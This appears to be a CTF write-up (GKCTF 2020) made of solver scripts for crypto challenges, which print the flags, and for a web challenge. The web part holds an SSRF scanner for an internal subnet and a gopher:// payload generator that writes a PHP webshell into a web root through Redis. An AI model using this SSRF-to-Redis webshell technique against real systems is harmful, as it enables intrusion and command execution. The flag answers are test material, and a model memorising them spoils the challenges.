GKCTF2020WP

import base64

from gmpy2 import invert

m = 'welcylk'

a=11

b=6

c=''

k=26

for i in range(len(m)):

    c +=chr((((invert(a,k))*((ord(m[i])-97)-b))%26)+97)

print(c)

//sorcery

hz = "田口由中人工大土士王夫井羊壮"

sz = "00123455567899"

m = "王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由 土夫 井中 士夫 王工 王人 土由 由口夫"

s = ""

for i in m:

    if i in hz:

        s += sz[hz.index(i)]

    else:

        s += ' '

# print(s)

ll = s.split(" ")

print(ll)

s = ''

for i in range(len(ll)):

    s += chr(int(ll[i]))

print(s)

#['69', '74', '62', '67', '118', '83', '72', '77', '86', '55', '71', '57', '82', '57', '64', '63', '51', '107']

#EJ>CvSHMV7G9R9@?3k

hz = "田口由中人工大土士王夫井羊壮"

sz = "00123455567899"

m = "王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由 土夫 井中 士夫 王工 王人 土由 由口夫"

s = ""

for i in m:

    if i in hz:

        s += sz[hz.index(i)]

    else:

        s += ' '

# print(s)

ll = s.split(" ")

print(ll)

s = ''

for i in range(len(ll)):

    s += chr(int(ll[i])+i+1)

print(s.lower())

#['69', '74', '62', '67', '118', '83', '72', '77', '86', '55', '71', '57', '82', '57', '64', '63', '51', '107']

#flag{you_are_good}

from gmpy2 import *

import libnum

n = 22356763374676421464625378500213339933332772809897207920729779273423674391734609826525432054721219700275907299132471518921609327317193522567659631757746842030241874692914098354564311806192080734895649520789778880115460999713973202684541940857690744940359412410680906226760273075221532248260114209496048785258860756023841150910290983974843412361701517438220974722832625030127395031631696995777436058406987465592189873785392136925593708921923255186282515777996509326779993612528103615281644689464568237409082282767318227236298791238683706176542426759149262625349498709445342710799386836175120162674849965878446213480453

e = 65537

p = 139091353059018128421744751525080056530307965918298875691299992775484064426591581456998968315582349027071987206340653988925923465225471661893944397744293391269274124345189028818977002600599732469824164218366399726233373069742839737062004061244787413638290767590029376062508897417109117189614458570241407458359

q = 160734387026849747944319274262095716650717626398118440194223452208652532694713113062084219512359968722796763029072117463281356654614167941930993838521563406258263299846297499190884495560744873319814150988520868951045961906000066805136724505347218275230562125457122462589771119429631727404626489634314291445667

c = 1422566584480199878714663051468143513667934216213366733442059106529451931078271460363335887054199577950679102659270179475911101747625120544429262334214483688332111552004535828182425152965223599160129610990036911146029170033592055768983427904835395850414634659565092191460875900237711597421272312032796440948509724492027247376113218678183443222364531669985128032971256792532015051829041230203814090194611041172775368357197854451201260927117792277559690205342515437625417792867692280849139537687763919269337822899746924269847694138899165820004160319118749298031065800530869562704671435709578921901495688124042302500361

N = (p-1)*(q-1)

d = invert(e,N)

m = pow(c,d,n)

print(libnum.n2s(int(m)))

//b'flag{3d0914a1-1e97-4822-a745-c7e20c5179b9}'

#!/usr/bin/python

from Crypto.Util.number import *

from Crypto.PublicKey import RSA

import gmpy2, binascii

import base64

from FLAG import flag

def rsa_encrypt(message):

    with open('./pub.pem' ,'r') as f:

        key = RSA.import_key(f.read())

    e = key.e

    n = key.n

    c = pow(bytes_to_long(flag), e, n)

    ciphertext = binascii.hexlify(long_to_bytes(c))

    return ciphertext

if __name__ == "__main__":

    text = base64.b64encode(rsa_encrypt(flag))

    with open('flag.enc','wb') as f:

        f.write(text)

from Crypto.Util import number

k=3

vals=39

a=12

M=1

primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997, 1009, 1013, 1019, 1021, 1031, 1033, 1039, 1049, 1051, 1061, 1063, 1069, 1087, 1091, 1093, 1097, 1103, 1109, 1117, 1123, 1129, 1151, 1153, 1163, 1171, 1181, 1187, 1193, 1201, 1213, 1217, 1223, 1229, 1231, 1237, 1249, 1259, 1277, 1279, 1283, 1289, 1291, 1297, 1301, 1303, 1307, 1319, 1321, 1327, 1361, 1367, 1373, 1381, 1399, 1409, 1423, 1427, 1429, 1433, 1439, 1447, 1451, 1453, 1459, 1471, 1481, 1483, 1487, 1489, 1493, 1499, 1511, 1523, 1531, 1543, 1549, 1553, 1559, 1567, 1571, 1579, 1583, 1597, 1601, 1607, 1609, 1613, 1619, 1621, 1627, 1637, 1657, 1663, 1667, 1669, 1693, 1697, 1699, 1709, 1721, 1723, 1733, 1741, 1747, 1753, 1759, 1777, 1783, 1787, 1789, 1801, 1811, 1823, 1831, 1847, 1861, 1867, 1871, 1873, 1877, 1879, 1889, 1901, 1907, 1913, 1931, 1933, 1949, 1951, 1973, 1979, 1987, 1993, 1997, 1999, 2003, 2011, 2017, 2027, 2029, 2039, 2053, 2063, 2069, 2081, 2083, 2087, 2089, 2099, 2111, 2113, 2129, 2131, 2137, 2141, 2143, 2153, 2161, 2179, 2203, 2207, 2213, 2221, 2237, 2239, 2243, 2251, 2267, 2269, 2273, 2281, 2287, 2293, 2297, 2309, 2311, 2333, 2339, 2341, 2347, 2351, 2357, 2371, 2377, 2381, 2383, 2389, 2393, 2399, 2411, 2417, 2423, 2437, 2441, 2447, 2459, 2467, 2473, 2477, 2503, 2521, 2531, 2539, 2543, 2549, 2551, 2557, 2579, 2591, 2593, 2609, 2617, 2621, 2633, 2647, 2657, 2659, 2663, 2671, 2677, 2683, 2687, 2689, 2693, 2699, 2707, 2711, 2713, 2719, 2729, 2731, 2741, 2749, 2753, 2767, 2777, 2789, 2791, 2797, 2801, 2803, 2819, 2833, 2837, 2843, 2851, 2857, 2861, 2879, 2887, 2897, 2903, 2909, 2917, 2927, 2939, 2953, 2957, 2963, 2969, 2971, 2999]

for x in range(0, vals):

    M=M*primes[x]

p=k*M+(65537**a %M)

print('k=',k)

print('a=',a)

print('Number of prime numbers used=',vals)

print('======')

print('M=',M)

print('\nPrime=',p)

isp = number.isPrime(p)

if (isp==1):

	print('Value is prime')

else:

	print('Value is not prime')

with open('./pub.pem' ,'r') as f:

    key = RSA.import_key(f.read())

    e = key.e

    n = key.n

#e=65535

#n=15518961041625074876182404585394098781487141059285455927024321276783831122168745076359780343078011216480587575072479784829258678691739

from gmpy2 import *

import libnum

n = 15518961041625074876182404585394098781487141059285455927024321276783831122168745076359780343078011216480587575072479784829258678691739

e = 65537

p = 3386619977051114637303328519173627165817832179845212640767197001941

q = 4582433561127855310805294456657993281782662645116543024537051682479

c = int("02142af7ce70fe0ddae116bb7e96260274ee9252a8cb528e7fdd29809c2a6032727c05526133ae4610ed944572ff1abfcd0b17aa22ef44a2",16)

N = (p-1)*(q-1)

d = invert(e,N)

m = pow(c,d,n)

# print(d)

print(libnum.n2s(int(m)))

#b'flag{760958c9-cca9-458b-9cbe-ea07aa1668e4}'

import string

s = "$Bn$Ai$An$Ac$Al$Au$Ad$Ae$Bk$Cc$As$At$Ad$Ai$Ao$By$Ah$Ce$Ai$An$At$Bk$Am$Aa$Ai$An$Bs$Bt$Cn$Ap$Ar$Ai$An$At$Bs$Bm$Aw$Dd$Al$Ac$Da$Am$Ae$Cl$De$Ao$Cl$Dj$Ak$Ac$At$Df$Bm$Bt$Cb$Ar$Ae$At$Au$Ar$An$Bk$Da$Cb$Cp"

ll = s.split('$')

list1 = ['Bk','Bm','Bn','Bs','Bt','By','Cb','Cc','Ce','Cl','Cn','Cp',

'Da','Db','Dc','Dd','De','Df','Dg','Dh','Di','Dj']

list2 = [' ','"','#','(',')','.','','<','>','_','{','}','0','1','2','3','4','5','6','7','8','9']

list3 = []

list4 = []

s = string.ascii_lowercase

for i in s:

	list3.append('A%s'%i)

	list4.append(i)

#print(list3,'\n',list4)

t = ''

for i in range(0,len(ll)):

	for j in range(0,len(list1)):

		if ll[i]==list1[j]:

			t += list2[j]

	for k in range(0,len(list3)):

		if ll[i]==list3[k]:

			t +=list4[k]

print(t)

#include <stdio.h>int main(){print("w3lc0me_4o_9kct5")return 0}

import requests

import time

url = "http://d3edfd3a-f06a-42ad-9bf4-fb994618272a.node4.buuoj.cn:81/index.php"

for i in range(255):

	getdata = "?url=http://10.244.80."+str(i)+"&submit=%E6%8F%90%E4%BA%A4"

	urs_l = url + getdata

	# print(urs_l)

	try:

		re = requests.get(urs_l,timeout=1)

		print(re)

	except requests.exceptions.RequestException:

		print("失败   "+str(i))

		pass

	time.sleep(1)

# 导入 quote 函数

from urllib.parse import quote

# 定义协议、IP、端口、要写入的 PHP 代码、文件名、路径、密码、命令列表

protocol = "gopher://"

ip = "10.244.80.203"

port = "6379"

shell = "\n\n<?php system(\"cat /flag\");?>\n\n"

filename = "1.php"

path = "/var/www/html"

passwd = ""

cmd = ["flushall",  # 清空 Redis 数据库

       "set 1 {}".format(shell.replace(" ", "${IFS}")),  # 将 PHP 代码写入 Redis 中

       "config set dir {}".format(path),  # 设置 Redis 工作目录

       "config set dbfilename {}".format(filename),  # 设置 Redis 数据库文件名

       "save"  # 将 Redis 数据库保存到磁盘中

       ]

# 如果设置了密码，将 AUTH 命令添加到命令列表中

if passwd:

    cmd.insert(0, "AUTH {}".format(passwd))

# 拼接 payload

payload = protocol + ip + ":" + port + "/_"

# 定义 redis_format 函数，将命令转换为 Redis 格式

def redis_format(arr):

    CRLF = "\r\n"

    redis_arr = arr.split(" ")

    cmd = ""

    cmd += "*" + str(len(redis_arr))

    for x in redis_arr:

        cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")

    cmd += CRLF

    return cmd

# 将每个命令转换为 Redis 格式，并拼接到 payload 中

if __name__ == "__main__":

    for x in cmd:

        payload += quote(redis_format(x))

    print(payload)

#gopher://10.244.80.203:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%245%0D%0A1.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A